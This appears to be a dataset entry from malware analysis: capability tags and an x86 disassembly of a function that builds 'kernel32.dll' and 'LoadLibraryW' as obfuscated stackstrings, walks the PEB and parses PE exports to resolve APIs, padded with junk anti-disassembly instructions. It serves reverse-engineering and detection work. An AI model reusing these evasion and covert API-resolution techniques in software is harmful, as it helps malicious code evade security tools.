Function at 0x4460b0
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push eax
push eax
add esp, 4
or eax, 0x14804
add eax, 0x58ec
pop eax
mov ecx, dword [ebp - 0x504]
mov edx, dword [ecx]
mov dword [ebp - 0x504], edx
mov eax, dword [ebp - 0x504]
cmp eax, dword [ebp - 0xc98]
je 0x445fae
mov ecx, dword [ebp - 0x504]
cmp dword [ecx + 0x30], 0
jne 0x445d64
mov dword [ebp - 0x31c], 0
push eax
push ecx
add esp, 4
or eax, 0x5f72
or eax, 0x14ec2
pop eax
push ecx
or ecx, 0x1352d
pop ecx
push ebx
call 0x445fdf
add byte [ebx], dh
cmp al, byte [esi + 0x4c]
xor cl, byte [eax - 0x7d]
les eax, [ebx + ebp*8]
add eax, 0x323b373c
inc esi
pop ebx
cmp dword [ebp - 0x31c], 0
add byte [edi], cl
test dword [ecx + ecx], ecx
add byte [eax], al
mov edx, 0x6b
mov word [ebp - 0x1774], dx
mov eax, 0x65
mov word [ebp - 0x1772], ax
mov ecx, 0x72
mov word [ebp - 0x1770], cx
mov edx, 0x6e
mov word [ebp - 0x176e], dx
mov eax, 0x65
mov word [ebp - 0x176c], ax
mov ecx, 0x6c
mov word [ebp - 0x176a], cx
mov edx, 0x33
mov word [ebp - 0x1768], dx
mov eax, 0x32
mov word [ebp - 0x1766], ax
mov ecx, 0x2e
mov word [ebp - 0x1764], cx
mov edx, 0x64
mov word [ebp - 0x1762], dx
mov eax, 0x6c
mov word [ebp - 0x1760], ax
mov ecx, 0x6c
mov word [ebp - 0x175e], cx
xor edx, edx
mov word [ebp - 0x175c], dx
push ecx
xor ecx, 0x177ad
call 0x4460a4
add byte [ecx + 0x3c], cl
cmp al, 0x44
cmp dword [ebp + 0x4c], ecx
add esp, 4
or ecx, 0x134f9
pop ecx
push edi
sub edi, 0x98c1
out dx, eax
rcr dword [eax + 0x575f0000], 0x50
add esp, 4
or edi, 0xa38f
pop edi
mov byte [ebp - 0x894], 0x4c
mov byte [ebp - 0x893], 0x6f
mov byte [ebp - 0x892], 0x61
mov byte [ebp - 0x891], 0x64
mov byte [ebp - 0x890], 0x4c
mov byte [ebp - 0x88f], 0x69
mov byte [ebp - 0x88e], 0x62
mov byte [ebp - 0x88d], 0x72
mov byte [ebp - 0x88c], 0x61
mov byte [ebp - 0x88b], 0x72
mov byte [ebp - 0x88a], 0x79
mov byte [ebp - 0x889], 0x57
mov byte [ebp - 0x888], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x195c], eax
mov ecx, dword [ebp - 0x195c]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1960], edx
mov eax, dword [ebp - 0x1960]
mov dword [ebp - 0x15e4], eax
push esi
and esi, 0x114b9
call 0x44615b
add byte [eax + 0x35], cl
cmp byte [ebx + 0x3d], cl
cmp dword [edi + 0x4e], ecx
xor al, 0x4c
add esp, 4
or esi, 0xb50d
pop esi
push esi
push eax
add esp, 4
or esi, 0x1046b
jmp 0x446175
pop esi
cmp dword [ebp - 0x15e4], 0
jne 0x44618e
mov dword [ebp - 0x750], 0
jmp 0x44644a
mov ecx, dword [ebp - 0x15e4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xca4], eax
push ecx
add ecx, 0x5e62
pop ecx
push edi
push ecx
add esp, 4
jmp 0x4461b2
add edi, 0xe01e
pop edi
push edx
push edx
add esp, 4
call 0x4461ce
add byte [ebx + esi], dh
cmp byte [edi], dh
inc esi
inc eax
cmp edi, dword [ebx]
aaa
xor eax, 0x5a04c483
cmp dword [ebp - 0xca4], 0
jne 0x4461ea
mov dword [ebp - 0x750], 0
jmp 0x44644a
mov ecx, dword [ebp - 0xca4]
mov dword [ebp - 0x508], ecx
push edx
or edx, 0x1117e
sub edx, 0x1521
pop edx
push eax
xor eax, 0x1075c
pop eax
push ecx
push ebx
add esp, 4
call 0x44692b
add byte [ecx + 0x50], cl
inc eax
inc esp
push eax
dec eax
add esp, 4
xor ecx, 0x590d
pop ecx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x197c], eax
mov ecx, dword [ebp - 0x197c]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1980], edx
mov eax, dword [ebp - 0x1980]
mov dword [ebp - 0x15fc], eax
push edi
push ecx
add esp, 4
xor edi, 0x160df
and edi, 0x16858
jmp 0x446973
pop edi
push ebx
push edi
add esp, 4
sub ebx, 0x10d28
pop ebx
push eax
sub eax, 0xc133
xor eax, 0xb26f
pop eax
cmp dword [ebp - 0x15fc], 0
jne 0x4469a6
mov dword [ebp - 0x31c], 0
jmp 0x446c4d
mov ecx, dword [ebp - 0x15fc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xcb4], eax
push edi
push esi
add esp, 4
sub edi, 0x32d4
and edi, 0x155d
add edi, 0xbbfa
pop edi
push ecx
sub ecx, 0x5985
call 0x4469e6
add byte [esi + 0x3f], cl
xor cl, byte [ebx + 0x41]
dec edx
cmp eax, 0xc4834441
add al, 0x59
cmp dword [ebp - 0xcb4], 0
jne 0x446a02
mov dword [ebp - 0x31c], 0
jmp 0x446c4d
mov ecx, dword [ebp - 0xcb4]
mov dword [ebp - 0x50c], ecx
push esi
xor esi, 0x2334
call 0x446a23
add byte [eax + 0x43], dl
dec ebp
dec edi
aas
inc edx
xor eax, 0x4c48344
pop esi
push eax
call 0x446a36
add byte [edi], dh
inc esi
inc ecx
inc edi
cmp eax, 0x4c48347
sub eax, 0x14e57
pop eax
lea edx, [ebp - 0x1738]
mov dword [ebp - 0xcb0], edx
mov eax, dword [ebp - 0x50c]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xcac], ecx
xor edx, edx
mov word [ebp - 0x218], dx
xor eax, eax
mov word [ebp - 0x34], ax
push eax
jmp 0x446a71
add eax, 0x10318
or eax, 0x5fd5
pop eax
push edx
push ecx
add esp, 4
add edx, 0xdf5
and edx, 0x16e24
sub edx, 0x185b0
sub edx, 0x7606
pop edx
mov ecx, dword [ebp - 0xcac]
mov dx, word [ecx]
mov word [ebp - 0x103a], dx
mov eax, dword [ebp - 0xcac]
add eax, 2
mov dword [ebp - 0xcac], eax
mov cx, word [ebp - 0x103a]
mov word [ebp - 0x218], cx
mov edx, dword [ebp - 0xcb0]
mov ax, word [edx]
mov word [ebp - 0x103c], ax
mov ecx, dword [ebp - 0xcb0]
add ecx, 2
mov dword [ebp - 0xcb0], ecx
mov dx, word [ebp - 0x103c]
mov word [ebp - 0x34], dx
push ecx
push ecx
add esp, 4
add ecx, 0x5794
pop ecx
push eax
sub eax, 0x11dab
xor eax, 0xfa02
pop eax
push ebx
push edx
add esp, 4
add ebx, 0x9dd4
and ebx, 0x278d
add ebx, 0x6cc5
pop ebx
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x446b42
movzx ecx, word [ebp - 0x218]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x1604], ecx
jmp 0x446b9c
movzx eax, word [ebp - 0x218]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x446a6a
movzx edx, word [ebp - 0x218]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x446a6a
movzx ecx, word [ebp - 0x218]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x446b86
mov dword [ebp - 0x1600], 0xffffffff
jmp 0x446b90
mov dword [ebp - 0x1600], 1
mov eax, dword [ebp - 0x1600]
mov dword [ebp - 0x1604], eax
cmp dword [ebp - 0x1604], 0
jne 0x446be5
push ecx
sub ecx, 0x171bf
add ecx, 0x8821
xor ecx, 0x12bfb
pop ecx
push edx
sub edx, 0xf4d8
pop edx
push esi
add esi, 0xd90
sub esi, 0x143bc
jmp 0x446bd6
pop esi
mov ecx, dword [ebp - 0x50c]
mov dword [ebp - 0x31c], ecx
jmp 0x446c4d
push eax
add eax, 0x13769
pop eax
push ebx
push ecx
add esp, 4
xor ebx, 0x10350
pop ebx
push eax
push edx
add esp, 4
or eax, 0xd055
and eax, 0x9fb7
or eax, 0x14455
sub eax, 0x59a7
pop eax
mov edx, dword [ebp - 0x50c]
mov eax, dword [edx]
mov dword [ebp - 0x50c], eax
mov ecx, dword [ebp - 0x50c]
cmp ecx, dword [ebp - 0xcb4]
je 0x446c43
mov edx, dword [ebp - 0x50c]
cmp dword [edx + 0x30], 0
jne 0x446a0e
mov dword [ebp - 0x31c], 0
push esi
push eax
add esp, 4
and esi, 0x13996
sub esi, 0x19ff
pop esi
push ebx
push esi
add esp, 4
and ebx, 0x1236b
pop ebx
push eax
sub eax, 0x24fb
or eax, 0x10e08
and eax, 0xac04
pop eax
mov eax, dword [ebp - 0x31c]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x324], ecx
push ebx
sub ebx, 0x114fc
add ebx, 0x15fb9
or ebx, 0x1314b
or ebx, 0x1ddf
pop ebx
push edi
push ebx
add esp, 4
jmp 0x446cb2
jmp 0x446cb9
or edi, 0x6968
pop edi
mov dword [ebp - 0x770], 0
mov edx, dword [ebp - 0x324]
mov dword [ebp - 0x1608], edx
cmp dword [ebp - 0x1608], 0
jne 0x446cf0
mov eax, dword [ebp - 0x770]
mov dword [ebp - 0x510], eax
jmp 0x446fe1
mov ecx, dword [ebp - 0x1608]
mov edx, dword [ebp - 0x324]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x160c], edx
jne 0x446d18
mov eax, dword [ebp - 0x770]
mov dword [ebp - 0x510], eax
jmp 0x446fe1
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x160c]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1610], ecx
cmp dword [ebp - 0x1610], 0
jne 0x446d4a
mov edx, dword [ebp - 0x770]
mov dword [ebp - 0x510], edx
jmp 0x446fe1
mov eax, dword [ebp - 0x324]
add eax, dword [ebp - 0x1610]
mov dword [ebp - 0x764], eax
jne 0x446d6f
mov ecx, dword [ebp - 0x770]
mov dword [ebp - 0x510], ecx
jmp 0x446fe1
mov edx, dword [ebp - 0x764]
mov eax, dword [ebp - 0x324]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x1984], eax
mov ecx, dword [ebp - 0x764]
mov edx, dword [ebp - 0x324]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x1988], edx
mov eax, dword [ebp - 0x764]
mov ecx, dword [ebp - 0x324]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x1d10], ecx
mov dword [ebp - 0x768], 0
jmp 0x446dc9